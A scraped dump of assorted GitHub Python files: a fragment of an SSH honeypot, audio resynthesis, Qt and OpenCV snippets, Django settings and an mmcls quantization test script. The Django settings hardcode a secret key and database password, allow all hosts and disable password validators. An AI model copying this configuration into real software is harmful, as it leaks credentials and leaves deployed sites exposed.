shell.\")\n          sys.exit(1)\n      # set 60 second timeout for channel\n      chan.settimeout(60)\n      # create honeypot shell\n      sh = Shell()\n      prompt_format = t.get_username()+\"@localhost:{}$ \"\n      while True: \n        # get the current directory \n        path = sh.get_curr_dir()\n        # display prompt\n        chan.send(prompt_format.format(path))        \n        f = chan.makefile(\"rU\")\n        try:\n          # read command from user\n          command = f.readline().strip(\"\\r\\n\")\n        except socket.timeout:\n          break\n        if command == \"exit\":\n          break\n        # execute command\n        output = sh.execute_command(command) \n        # send output from command to user\n        if output != None:\n          chan.send(output+\"\\r\\n\")\n      t.close()\n    except KeyboardInterrupt:\n      # close connection\n      if client != None:\n        client.close()\n      break\n\n\n\n\nif __name__ == \"__main__\":\n  main()\n\n\n\n\n\n\n  \n","repo_name":"mcnultyc/ssh-honeypot","sub_path":"honeypot.py","file_name":"honeypot.py","file_ext":"py","file_size_in_byte":7836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"16298426049","text":"\"\"\"Guitar Resynthesiser using chord annotation and synthesize strums\n\"\"\"\n\nimport librosa\nimport numpy as np\nimport pretty_midi\nimport scipy\n\n\nfrom massage.resynth import util\nfrom massage.core import Resynthesizer\nfrom massage import VOICING_FILE\n\n\nclass GuitarStrummer(Resynthesizer):\n    \"\"\" Resynthesize a stereo audio file that simulates a strumming guitar.\n        Takes a guitar stem and associated JAMS object containing a chord\n        annotation and generates strummed chords according to the JAMS chord\n        annotation and onsets detected from the audio signal.\n    \"\"\"\n\n    def run(self, y, fs, jam=None, instrument_label=None):\n        \"\"\" run the resynthesizer\n\n        Parameters\n        ----------\n        y : np.array\n            an audio signal.\n            shape[0] = number of channels\n            shape[1] = number of samples\n        fs : int\n            the sample rate of the audio signal y\n        jam : JAMS\n            a jams object that contains 'chord' annotation for y\n        instrument_label : str\n            Label specifying the instrument of the track. Must be one of:\n                -'acoustic guitar'\n        \"\"\"\n        # input guarding\n        if len(y) == 0:\n            raise ValueError('len(y) is 0!')\n\n        # Get Chord annotation\n        chord_sequence = []\n        try:\n            time_intervals, chord_labs = jam.search(\n                namespace='chord')[0].to_interval_values()\n            for interval, lab in zip(time_intervals, chord_labs):\n                chord_sequence.append([interval[0], interval[1], lab])\n        except IndexError:\n            raise ValueError('no \"chord\" annotation in the JAMS object.')\n\n\n        envelope = util.get_energy_envelope(y)\n        y_mono = librosa.core.to_mono(y)\n\n        onsets, offsets, energies = util.onset_offset(y=y_mono, sr=fs)\n        velocities = util.amplitude_to_velocity(energies)\n        sound_font, program = util.pick_sf(y_mono, fs, instrument_label)\n\n        env_times = librosa.samples_to_time(np.arange(len(envelope[0])), sr=fs)\n\n        # list of interp1d objects, len(.) = number of channels\n        energy_interp = []\n\n        num_ch = 1 if envelope.ndim == 1 else envelope.shape[0]\n        for ch in range(num_ch):\n            energy_interp_ch = scipy.interpolate.interp1d(\n                env_times, envelope[0], bounds_error=False,\n                fill_value='extrapolate')\n            energy_interp.append(energy_interp_ch)\n\n        # Generating midi for synthesis and also jams file\n        midi_data = self._generate_chord_midi(\n            chord_sequence, onsets, offsets, velocities, program,\n            energy_interp, VOICING_FILE)\n        # Convert midi_data -> jams file\n        jams_out = util.midi_to_jams(midi_data) # audio duration\n\n        # Resynth\n        y = midi_data.fluidsynth(sf2_path=sound_font, fs=fs)\n\n        # Normalize\n        if np.max(np.abs(y)) > 0:\n            y = y / np.max(np.abs(y))\n\n        y_len = len(y)\n        env_len = len(envelope[0])\n        if y_len > env_len:\n            y_stereo = np.array(\n                [envelope[0] * y[:env_len], envelope[1] * y[:env_len]])\n        else:\n            y_stereo = np.array(\n                [envelope[0][:y_len] * y, envelope[1][:y_len] * y])\n\n        return y_stereo, jams_out\n\n    @classmethod\n    def get_id(cls):\n        \"\"\"Method to get the id of the pitch tracker\n        \"\"\"\n        return 'guitar_strummer'\n\n    def _get_strum(self, start_t, end_t, chord, voicings, prev_voicing,\n                   backwards=False, velocity=None, max_strum_duration=2.5):\n        \"\"\"\n        Parameters\n        ----------\n        start_t : float\n            starting time of the strum\n        end_t : float\n            ending time of the strum\n        chord : str\n            Chord-Harte Format chord labels, 'Ab:maj6', 'D#:min', etc\n        voicings : dict\n            keys are Chorde-Harte chord labels, values are lists of midi\n            notes corresponding to different chord voicings.\n        prev_voicing : list of int\n            a list of midi numbers to represent the previous voicing\n        backwards : bool, default=False\n            - False : strumming down\n            - True  : strumming up\n        velocity : int\n            midi velocity value of the strum to be created\n        max_strum_duration : float default=2.5\n            the maximum time in seconds that a strum will be held\n\n        Returns\n        -------\n        strum : list of pretty_midi.Note\n            a list of pretty_midi.Note object with small delays to simulate\n            strumming\n        current_voicing : list of int\n            a list of the pitches in midi number to specify voicing\n        \"\"\"\n        strum = []\n\n        notes = util.choose_voicing(chord, voicings, prev_voicing)\n        strum_duration = end_t - start_t\n\n        if strum_duration > max_strum_duration:\n            end_t = start_t + max_strum_duration\n            strum_duration = max_strum_duration\n\n        current_voicing = notes\n        shifted_start = start_t\n\n        # USING FIXED VELOCITY RANGE HERE BECAUSE WE'RE ADAPTING\n        # THE OVERALL ENVELOPE LATER!\n        if velocity is None:\n            velocity = np.random.choice(range(70, 100))\n        elif velocity < 70:\n            velocity = 70\n        elif velocity > 100:\n            velocity = 100\n\n        max_delay = strum_duration / float(len(notes))\n        if max_delay > 0.05:\n            all_choices = [0.02, 0.03, 0.04, 0.05]\n        elif max_delay > 0.04:\n            all_choices = [0.02, 0.03, 0.04]\n        elif max_delay > 0.03:\n            all_choices = [0.01, 0.02, 0.03]\n        elif max_delay > 0.02:\n            all_choices = [0.01, 0.02]\n        elif max_delay >= 0.01:\n            all_choices = [0.01]\n        else:\n            raise ValueError(\n                \"Something terrible happened! max_delay is {}\".format(max_delay))\n\n        if backwards:\n            notes = notes[::-1]\n            choices = all_choices[:np.random.choice(range(1, 3))]\n        else:\n            choices = all_choices[:np.random.choice(range(1, 5))]\n\n        for note in notes:\n            note = pretty_midi.Note(\n                velocity=velocity + np.random.choice(range(-5, 5)),\n                pitch=note, start=shifted_start, end=end_t\n            )\n            strum.append(note)\n            shifted_start = shifted_start + np.random.choice(choices)\n\n        return strum, current_voicing\n\n    def _generate_chord_midi(self, chord_sequence, onsets, offsets, velocities,\n                             program, energy_interp, voicing_file,\n                             onset_lag=0.01, energy_thresh=0.03):\n        \"\"\" Given list of triples of the form\n            (start_time, end_time, chord_name), generate midi file.\n\n        Parameters\n        ----------\n        chord_sequence : list\n            list of triples of the form (start_time, end_time, chord_name),\n            with start_time, end_time in seconds, and chord names of the\n            form 'A:min6', 'Bb:maj', etc\n        onsets : ndarray of float\n            a list of onset times\n        offsets : ndarray of float\n            a list of offset times\n        velocities : ndarray of int\n            array of midi velocity values for each chord\n        program : int\n            midi program number\n        energy_interp : list of scipy.interpolate.interp1d\n            a list of interpolator objects (1 per channel) to facilitate energy\n            interpolation\n        voicing_file : str\n            Path to a json file containing chord voicings\n        onset_lag : float default=2.5\n            number of secs to move the strum forward in order to compensate\n            for strumming time.\n        energy_thresh : float default=0.03\n            threshold the energy needs to exceed in order to be voiced.\n\n        Returns\n        midi_chords : pretty_midi.PrettyMIDI\n            pretty_midi object ready to be synthesized\n\n        \"\"\"\n        voicings = util.get_all_voicings(voicing_file)\n        midi_chords = pretty_midi.PrettyMIDI()\n\n        chords = pretty_midi.Instrument(program=program)\n\n        prev_voicing = None\n        for triple in chord_sequence:\n            start_t = triple[0]\n            end_t = triple[1]\n\n            if triple[2] == 'N' or triple[2] == 'X':\n                continue\n\n            onsets_idx_in_range = np.where(\n                np.logical_and(onsets >= start_t, onsets < end_t))[0]\n\n            # shift onset back by onset_lag (sec) to adjust for strum start\n            start_times = [onsets[i] - onset_lag for i in onsets_idx_in_range]\n\n            energies = [np.max([energy_interp[0](s), energy_interp[1](s)])\n                        for s in start_times]\n\n            end_times = [offsets[i] for i in onsets_idx_in_range]\n            if len(start_times) == 0:\n                continue\n\n            vel_values = [velocities[i] for i in onsets_idx_in_range]\n\n            next_start_times = start_times[1:] + [end_t]\n            zipper = zip(start_times, end_times, next_start_times, energies)\n\n            for i, (start_t, end_t, next_start_t, energy) in enumerate(zipper):\n                if energy < energy_thresh:\n                    continue\n\n                if i % 2 == 0:\n                    backwards = False\n                else:\n                    backwards = True\n\n                min_duration = 0.06\n                if next_start_t - start_t < min_duration:\n                    continue\n                elif end_t - start_t < min_duration:\n                    end_t = np.random.uniform(\n                        start_t + min_duration, next_start_t)\n                else:\n                    end_t = np.random.uniform(end_t, next_start_t)\n\n                strum, prev_voicing = self._get_strum(\n                    start_t, end_t, triple[2], voicings, prev_voicing,\n                    backwards=backwards, velocity=vel_values[i]\n                )\n                chords.notes.extend(strum)\n\n        midi_chords.instruments.append(chords)\n\n        return midi_chords\n","repo_name":"marl/massage","sub_path":"massage/resynth/guitar_strummer.py","file_name":"guitar_strummer.py","file_ext":"py","file_size_in_byte":10016,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"51"}
+{"seq_id":"73520347038","text":"\"\"\"\nContextual help components for use in dialogs, etc.\n\"\"\"\n\nimport os\nfrom PyQt4 import QtGui, QtCore\n\n\n# noinspection PyAttributeOutsideInit, PyPep8Naming\nclass InfoIcon(QtGui.QLabel):\n    def __init__(self, tip, parent=None):\n        QtGui.QLabel.__init__(self, parent)\n        self.tiptxt = tip\n        self.setSizePolicy(QtGui.QSizePolicy.Fixed,\n                           QtGui.QSizePolicy.Fixed)\n        self.setMaximumSize(QtCore.QSize(16, 16))\n        self.setMinimumSize(QtCore.QSize(16, 16))\n        infopx = QtGui.QPixmap(\n            os.path.dirname(os.path.dirname(__file__)) + \"/images/help.png\")\n        self.setPixmap(infopx)\n\n        self.setMouseTracking(True)\n\n    def mouseMoveEvent(self, event):\n        # QtGui.QToolTip.showText(self.mapToGlobal(event.pos()),\n        #                         self.tiptxt, self, self.rect())\n        QtGui.QToolTip.showText(self.mapToGlobal(event.pos()),\n                                self.tiptxt, self)\n        event.ignore()\n\n\n# noinspection PyPep8Naming\ndef infoIcon(tip, parent=None):\n    return InfoIcon(tip, parent)\n","repo_name":"planetfederal/qgis-suite-plugin","sub_path":"src/opengeo/gui/contextualhelp.py","file_name":"contextualhelp.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"51"}
+{"seq_id":"28694449160","text":"# importing the requests library\nimport requests\n \n# api-endpoint\nURL = \"https://ancient-beach-92968.herokuapp.com/magic\"\n \n# location given here\nlocation = \"delhi technological university\"\n \n# defining a params dict for the parameters to be sent to the API\nPARAMS = {}\n \n# sending get request and saving the response as response object\nr = requests.get(url = URL, params = PARAMS)\n \n# extracting data in json format\ndata = r.json()\n \n \n# extracting latitude, longitude and formatted address \n# of the first matching location\nprint(data) \n# printing the","repo_name":"lm10pulkit/lionmerge","sub_path":"getrequest.py","file_name":"getrequest.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"879434895","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread('/Users/joshchung/Desktop/thesis/imageStitch/scripts/blackcubesStitched15.png')\nimgGry = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n_, thrash = cv2.threshold(imgGry, 60, 255, cv2.THRESH_BINARY_INV)\ncontours, _ = cv2.findContours(thrash, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\nthresholdMin = 500\nthresholdMax = 2000\ntemp = []\nfor cou in contours:\n    if cv2.contourArea(cou)>=thresholdMin and cv2.contourArea(cou)<=thresholdMax:\n        temp.append(cou)\n\n\ncv2.drawContours(img, temp, -1, (0,255,0), 3)\ncv2.imwrite(\"blobblackcubedetection.png\", img)\n\n\n\n\"\"\"for contour in contours:\n    approx = cv2.approxPolyDP(contour, 0.01 * cv2.arcLength(contour, True), True)\n    cv2.drawContours(img, [approx], 0, (255, 0, 0), 5)\"\"\"\n\n#cv2.imwrite('blackcubedetection.png', img)","repo_name":"joshyeram/VideoToImageStitch","sub_path":"scripts/cubeDetection.py","file_name":"cubeDetection.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11276917050","text":"import sys\nimport random\nimport io\nsys.stdout = io.TextIOWrapper(sys.stdout.detach(), encoding='utf-8')\n\nmylist = ['枪手系 - 枪炮师', '枪手系 - 神枪手', '枪手系 - 弹药专家', '圣职系 - 驱魔师',\n          '剑士系 - 剑客', '暗夜系 - 术士', '剑士系 - 鬼剑士', '格斗系 - 气功师',\n          '圣职系 - 牧师', '圣职系 - 守护天使', '格斗系 - 拳法家', '法师系 - 战斗法师',\n          '暗夜系 - 忍者', '暗夜系 - 刺客', '法师系 - 魔道学者', '剑士系 - 狂剑士',\n          '枪手系 - 机械师', '法师系 - 元素法师', '剑士系 - 魔剑士', '暗夜系 - 盗贼',\n          '格斗系 - 流氓', '法师系 - 召唤师', '格斗系 - 柔道', '圣职系 - 骑士',\n          '未转职 - 散人！！']\nmylist2 = ['蓝溪阁','中草堂','霸气雄图','嘉王朝','轮回','百花谷','踏破虚空','兴欣','义斩天下','呼啸山庄','雷霆','烟雨楼']\n\n# 保证两个AU不重合\nflag1 = random.randint(0, len(mylist)-1)\nflag2 = random.randint(0, len(mylist2)-1)\nprint(\"是\"+ mylist2[flag2]+\"公会的：\"+ mylist[flag1])\n","repo_name":"TheTarr/mastodon_bot","sub_path":"quanzhi.py","file_name":"quanzhi.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"ja","doc_type":"code","stars":35,"dataset":"github-code","pt":"51"}
+{"seq_id":"5858027722","text":"from PySide6.QtWidgets import QTableWidget, QPushButton, QVBoxLayout\n\ntable = QTableWidget()\n# table.setColumnCount(2)\n# same as\ntable.column_count = 2\n\n# setter and getter\nfrom __feature__ import true_property\n\nbutton = QPushButton(\"Add\")\n# button.setEnabled(False)\n# same as\nbutton.enabled = False\n\n# snakecase instead of camelcase\nfrom __feature__ import snake_case\n\nlayout = QVBoxLayout()\nlayout.addWidget(table)\n# layout.addWidget(button)\n# same as\nlayout.add_widget(button)","repo_name":"sbwiecko/gui_qt_python","sub_path":"1-introduction/nouveautés_pyside6.py","file_name":"nouveautés_pyside6.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"23052010068","text":"import os\n\nimport dj_database_url\nimport django_heroku\nfrom pathlib import Path\n\nBASE_DIR = Path(__file__).resolve().parent.parent\n\nLOGIN_REDIRECT_URL = 'workpalce'\nLOGOUT_REDIRECT_URL = 'workpalce'\n\nSECRET_KEY = 'DEBUG-+q=8f=)x&0_vmmb%tf_ykb_cemy7u)51tcea-3gimedtwevfny'\n\nDEBUG = False\n\nALLOWED_HOSTS = ['*']\n\nINSTALLED_APPS = [\n    'django.contrib.admin',\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n    'workplace.apps.WorkplaceConfig',\n]\n\nMIDDLEWARE = [\n    'django.middleware.security.SecurityMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'Planeks.urls'\n\nTEMPLATES = [\n    {\n        'BACKEND': 'django.template.backends.django.DjangoTemplates',\n        'DIRS': [BASE_DIR / 'templates'],\n        'APP_DIRS': True,\n        'OPTIONS': {\n            'context_processors': [\n                'django.template.context_processors.debug',\n                'django.template.context_processors.request',\n                'django.contrib.auth.context_processors.auth',\n                'django.contrib.messages.context_processors.messages',\n            ],\n        },\n    },\n]\n\nWSGI_APPLICATION = 'Planeks.wsgi.application'\n\nif DEBUG:\n    DATABASES = {\n        'default': {\n            'ENGINE': 'django.db.backends.postgresql_psycopg2',\n            'NAME': 'planeks',\n            'USER': 'godbd',\n            'PASSWORD': 'Answer42!',\n            'HOST': '127.0.0.1',\n            'PORT': '5432',\n        }\n    }\nelse:\n    DATABASES = {'default': dj_database_url.config(conn_max_age=600)}\n\nAUTH_PASSWORD_VALIDATORS = []\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'Europe/Kiev'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\nSTATIC_URL = '/static/'\nSTATIC_ROOT = BASE_DIR / 'static/'\nSTATICFILES_DIRS = (\n    BASE_DIR / 'Planeks/static/',\n)\n\nMEDIA_URL = '/media/'\nMEDIA_ROOT = BASE_DIR / 'media/'\n\nif DEBUG:\n    CELERY_REDIS_HOST = 'localhost'\n    CELERY_REDIS_PORT = '6379'\n    CELERY_BROKER_URL = 'redis://' + CELERY_REDIS_HOST + ':' + CELERY_REDIS_PORT + '/0'\n    CELERY_BROKER_TRANSPORT_OPTIONS = {'visibility_timeout': 3600}\n    CELERY_RESULT_BACKEND = 'redis://' + CELERY_REDIS_HOST + ':' + CELERY_REDIS_PORT + '/0'\nelse:\n    CELERY_BROKER_URL = os.environ['REDIS_URL']\n    CELERY_RESULT_BACKEND = os.environ['REDIS_URL']\n    django_heroku.settings(locals())\n","repo_name":"vladrunk/Planeks","sub_path":"Planeks/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"5668762161","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nconv_3 = np.load(\"qtable_convergence.npy\")\nconv_4 = np.load(\"rewards_list_DD.npy\")\n\n# plt.plot(conv_3, label=\"Convergence of Q-learning\")\nplt.plot(conv_4, label=\"Convergence of Double Deep Q-learning\")\nplt.title(\"Comparison of the convergence of Q-learning and Double Deep Q-learning\", fontsize = 15)\nplt.xlabel(\"Timesteps\", fontsize=13)\nplt.ylabel(\"Average reward\", fontsize=13)\nplt.legend()\nplt.show()","repo_name":"KimngGnmik/Q-Learning","sub_path":"prob5.py","file_name":"prob5.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"33649472425","text":"import argparse\nfrom collections import OrderedDict\nimport os\nimport warnings\n\nimport mmcv\nimport numpy as np\nimport torch\n\n# added by zhangchg\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom mmcv import DictAction\nfrom mmcv.parallel import MMDataParallel, MMDistributedDataParallel\nfrom mmcv.runner import get_dist_info, init_dist, load_checkpoint\n\n# zhangchg modified\n# from mmcls.apis import multi_gpu_test, single_gpu_test\nfrom mmcls.apis.test import collect_results_cpu, collect_results_gpu\nimport os.path as osp\nimport time\nfrom mmcv.image import tensor2imgs\nfrom tqdm import tqdm\n\nfrom mmcls.datasets import build_dataloader, build_dataset\nfrom mmcls.models import build_classifier\n\n# TODO import `wrap_fp16_model` from mmcv and delete them from mmcls\ntry:\n    from mmcv.runner import wrap_fp16_model\nexcept ImportError:\n    warnings.warn('wrap_fp16_model from mmcls will be deprecated.'\n                  'Please install mmcv>=1.1.4.')\n    from mmcls.core import wrap_fp16_model\n\nimport os,sys\nos.chdir(sys.path[0])\nsys.path.insert(0,'..')\nfrom module.layer_q import crxb_Conv2d, convert, convert_weight\nfrom module.quantization.layer_quantizer import RobustCrxbQuantizer, SimpleCrxbQuantizer, MinibatchRobustCrxbQuantizer\n\n\ndef model_conversion(model_ref: nn.Module, model_out: nn.Module, calibration_inputs):\n    model_dict = model_out.state_dict()\n    pretrained_dict = model_ref.state_dict()\n    for k, v in model_dict.items():\n        if k in pretrained_dict:\n            model_dict[k].copy_(pretrained_dict[k].data)\n    model_out.mode = \"calibration_forward\"\n    model_out(*calibration_inputs)\n    model_out.mode = \"qat_forward\"\n\n\ncrxb_cfg = {'gmax': 0.000333, 'gmin': 3.33e-07, 'gwire': 0.0357, 'gload': 0.25, 'q_type': 'robust_batch',\n            'input_qbit': 8, 'weight_qbit': 4, 'inter_activation_qbit': 8, 'vdd': 3.3, 'freq': 10000000.0, 'temp': 300,\n            'crxb_size': 64, 'enable_SAF': False, 'enable_ec_SAF': False, 'enable_noise': False, 'noise_amp': 0.12,\n            'random_noise': True, 'ir_drop': False, 'device': 'cuda', 'enable_ec_Var': False, 'p_fix': 0.1}\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(description='mmcls test model')\n    parser.add_argument('config', help='test config file path')\n    parser.add_argument('checkpoint', help='checkpoint file')\n    parser.add_argument('--out', help='output result file')\n    parser.add_argument(\n        '--metrics',\n        type=str,\n        nargs='+',\n        help='evaluation metrics, which depends on the dataset, e.g., '\n        '\"accuracy\", \"precision\", \"recall\", \"f1_score\", \"support\" for single '\n        'label dataset, and \"mAP\", \"CP\", \"CR\", \"CF1\", \"OP\", \"OR\", \"OF1\" for '\n        'multi-label dataset')\n    parser.add_argument('--show', action='store_true', help='show results')\n    parser.add_argument(\n        '--show-dir', help='directory where painted images will be saved')\n    parser.add_argument(\n        '--gpu-collect',\n        action='store_true',\n        help='whether to use gpu to collect results')\n    parser.add_argument('--tmpdir', help='tmp dir for writing some results')\n    parser.add_argument(\n        '--cfg-options',\n        nargs='+',\n        action=DictAction,\n        help='override some settings in the used config, the key-value pair '\n        'in xxx=yyy format will be merged into config file. If the value to '\n        'be overwritten is a list, it should be like key=\"[a,b]\" or key=a,b '\n        'It also allows nested list/tuple values, e.g. key=\"[(a,b),(c,d)]\" '\n        'Note that the quotation marks are necessary and that no white space '\n        'is allowed.')\n    parser.add_argument(\n        '--options',\n        nargs='+',\n        action=DictAction,\n        help='override some settings in the used config, the key-value pair '\n        'in xxx=yyy format will be merged into config file (deprecate), '\n        'change to --cfg-options instead.')\n    parser.add_argument(\n        '--metric-options',\n        nargs='+',\n        action=DictAction,\n        default={},\n        help='custom options for evaluation, the key-value pair in xxx=yyy '\n        'format will be parsed as a dict metric_options for dataset.evaluate()'\n        ' function.')\n    parser.add_argument(\n        '--show-options',\n        nargs='+',\n        action=DictAction,\n        help='custom options for show_result. key-value pair in xxx=yyy.'\n        'Check available options in `model.show_result`.')\n    parser.add_argument(\n        '--launcher',\n        choices=['none', 'pytorch', 'slurm', 'mpi'],\n        default='none',\n        help='job launcher')\n    parser.add_argument('--local_rank', type=int, default=0)\n    parser.add_argument(\n        '--device',\n        choices=['cpu', 'cuda'],\n        default='cuda',\n        help='device used for testing')\n\n    parser.add_argument('--calib_size', default=32,type=int)\n\n    parser.add_argument('--w_bits',type=int,default=8)\n    parser.add_argument('--a_bits',type=int,default=8)\n    parser.add_argument('--quantizer', type=str, default='RobustCrxbQuantizer', \n                        choices=['RobustCrxbQuantizer', 'SimpleCrxbQuantizer', 'MinibatchRobustCrxbQuantizer'], \n                        help=\"choose a quantization mode.\")\n    args = parser.parse_args()\n    if 'LOCAL_RANK' not in os.environ:\n        os.environ['LOCAL_RANK'] = str(args.local_rank)\n\n    if args.options and args.cfg_options:\n        raise ValueError(\n            '--options and --cfg-options cannot be both '\n            'specified, --options is deprecated in favor of --cfg-options')\n    if args.options:\n        warnings.warn('--options is deprecated in favor of --cfg-options')\n        args.cfg_options = args.options\n\n    return args\n\n\ndef single_gpu_test(model,\n                    data_loader,\n                    show=False,\n                    out_dir=None,\n                    **show_kwargs):\n    model.eval()\n    results = []\n    dataset = data_loader.dataset\n    prog_bar = mmcv.ProgressBar(len(dataset))\n    for i, data in enumerate(data_loader):\n        with torch.no_grad():\n            # print('\\t',id(model.state_dict()['module.backbone.features.0.quantizer.o_quantizer.sum']))\n            result = model(return_loss=False, **data)\n\n        batch_size = len(result)\n        results.extend(result)\n\n        if show or out_dir:\n            scores = np.vstack(result)\n            pred_score = np.max(scores, axis=1)\n            pred_label = np.argmax(scores, axis=1)\n            pred_class = [model.CLASSES[lb] for lb in pred_label]\n\n            img_metas = data['img_metas'].data[0]\n            imgs = tensor2imgs(data['img'], **img_metas[0]['img_norm_cfg'])\n            assert len(imgs) == len(img_metas)\n\n            for i, (img, img_meta) in enumerate(zip(imgs, img_metas)):\n                h, w, _ = img_meta['img_shape']\n                img_show = img[:h, :w, :]\n\n                ori_h, ori_w = img_meta['ori_shape'][:-1]\n                img_show = mmcv.imresize(img_show, (ori_w, ori_h))\n\n                if out_dir:\n                    out_file = osp.join(out_dir, img_meta['ori_filename'])\n                else:\n                    out_file = None\n\n                result_show = {\n                    'pred_score': pred_score[i],\n                    'pred_label': pred_label[i],\n                    'pred_class': pred_class[i]\n                }\n                model.module.show_result(\n                    img_show,\n                    result_show,\n                    show=show,\n                    out_file=out_file,\n                    **show_kwargs)\n\n        batch_size = data['img'].size(0)\n        for _ in range(batch_size):\n            prog_bar.update()\n    return results\n\n\ndef multi_gpu_test(model, data_loader, tmpdir=None, gpu_collect=False):\n    \"\"\"Test model with multiple gpus.\n\n    This method tests model with multiple gpus and collects the results\n    under two different modes: gpu and cpu modes. By setting 'gpu_collect=True'\n    it encodes results to gpu tensors and use gpu communication for results\n    collection. On cpu mode it saves the results on different gpus to 'tmpdir'\n    and collects them by the rank 0 worker.\n\n    Args:\n        model (nn.Module): Model to be tested.\n        data_loader (nn.Dataloader): Pytorch data loader.\n        tmpdir (str): Path of directory to save the temporary results from\n            different gpus under cpu mode.\n        gpu_collect (bool): Option to use either gpu or cpu to collect results.\n\n    Returns:\n        list: The prediction results.\n    \"\"\"\n    model.eval()\n    results = []\n    dataset = data_loader.dataset\n    rank, world_size = get_dist_info()\n    if rank == 0:\n        # Check if tmpdir is valid for cpu_collect\n        if (not gpu_collect) and (tmpdir is not None and osp.exists(tmpdir)):\n            raise OSError((f'The tmpdir {tmpdir} already exists.',\n                           ' Since tmpdir will be deleted after testing,',\n                           ' please make sure you specify an empty one.'))\n        prog_bar = mmcv.ProgressBar(len(dataset))\n    time.sleep(2)  # This line can prevent deadlock problem in some cases.\n    for i, data in enumerate(data_loader):\n        with torch.no_grad():\n            result = model(return_loss=False, **data)\n        if isinstance(result, list):\n            results.extend(result)\n        else:\n            results.append(result)\n\n        if rank == 0:\n            batch_size = data['img'].size(0)\n            for _ in range(batch_size * world_size):\n                prog_bar.update()\n\n    # collect results from all ranks\n    if gpu_collect:\n        results = collect_results_gpu(results, len(dataset))\n    else:\n        results = collect_results_cpu(results, len(dataset), tmpdir)\n    return results\n\n\ndef test_model(distributed, args, model, data_loader, dataset, CLASSES):\n    if not distributed:\n        if args.device == 'cpu':\n            model = model.cpu()\n        else:\n            model = MMDataParallel(model, device_ids=[0])\n        model.CLASSES = CLASSES\n        show_kwargs = {} if args.show_options is None else args.show_options\n        outputs = single_gpu_test(model, data_loader, args.show, args.show_dir,\n                                  **show_kwargs)\n    else:\n        model = MMDistributedDataParallel(\n            model.cuda(),\n            device_ids=[torch.cuda.current_device()],\n            broadcast_buffers=False)\n        outputs = multi_gpu_test(model, data_loader, args.tmpdir,\n                                 args.gpu_collect)\n\n    rank, _ = get_dist_info()\n    if rank == 0:\n        results = {}\n        if args.metrics:\n            eval_results = dataset.evaluate(outputs, args.metrics,\n                                            args.metric_options)\n            results.update(eval_results)\n            for k, v in eval_results.items():\n                print(f'\\n{k} : {v:.2f}\\n')\n        if args.out:\n            if 'none' not in args.out_items:\n                scores = np.vstack(outputs)\n                pred_score = np.max(scores, axis=1)\n                pred_label = np.argmax(scores, axis=1)\n                pred_class = [CLASSES[lb] for lb in pred_label]\n                res_items = {\n                    'class_scores': scores,\n                    'pred_score': pred_score,\n                    'pred_label': pred_label,\n                    'pred_class': pred_class\n                }\n                if 'all' in args.out_items:\n                    results.update(res_items)\n                else:\n                    for key in args.out_items:\n                        results[key] = res_items[key]\n            print(f'\\ndumping results to {args.out}')\n            mmcv.dump(results, args.out)\n\n\ndef calib_model(distributed, args, model:nn.Module, \n                wrapped_modules, \n                data_loader, dataset, CLASSES):\n    for name,module in wrapped_modules.items():\n        module.mode='calibration_forward'\n\n    if not distributed:\n        if args.device == 'cpu':\n            model = model.cpu()\n        else:\n            model = MMDataParallel(model, device_ids=[0])\n        model.CLASSES = CLASSES\n        show_kwargs = {} if args.show_options is None else args.show_options\n        outputs = single_gpu_test(model, data_loader, args.show, args.show_dir,\n                                  **show_kwargs)\n    else:\n        model = MMDistributedDataParallel(\n            model.cuda(),\n            device_ids=[torch.cuda.current_device()],\n            broadcast_buffers=False)\n        outputs = multi_gpu_test(model, data_loader, args.tmpdir,\n                                 args.gpu_collect)\n\n    for name,module in model.named_modules():\n        if name in wrapped_modules.keys():\n            print(f\"{name}: {module.quantizer}\")\n            module.mode='qat_forward'\n    print(\"calibration finished\")\n\n    rank, _ = get_dist_info()\n    if rank == 0:\n        results = {}\n        if args.metrics:\n            eval_results = dataset.evaluate(outputs, args.metrics,\n                                            args.metric_options)\n            results.update(eval_results)\n            for k, v in eval_results.items():\n                print(f'\\n{k} : {v:.2f}\\n')\n        if args.out:\n            if 'none' not in args.out_items:\n                scores = np.vstack(outputs)\n                pred_score = np.max(scores, axis=1)\n                pred_label = np.argmax(scores, axis=1)\n                pred_class = [CLASSES[lb] for lb in pred_label]\n                res_items = {\n                    'class_scores': scores,\n                    'pred_score': pred_score,\n                    'pred_label': pred_label,\n                    'pred_class': pred_class\n                }\n                if 'all' in args.out_items:\n                    results.update(res_items)\n                else:\n                    for key in args.out_items:\n                        results[key] = res_items[key]\n            print(f'\\ndumping 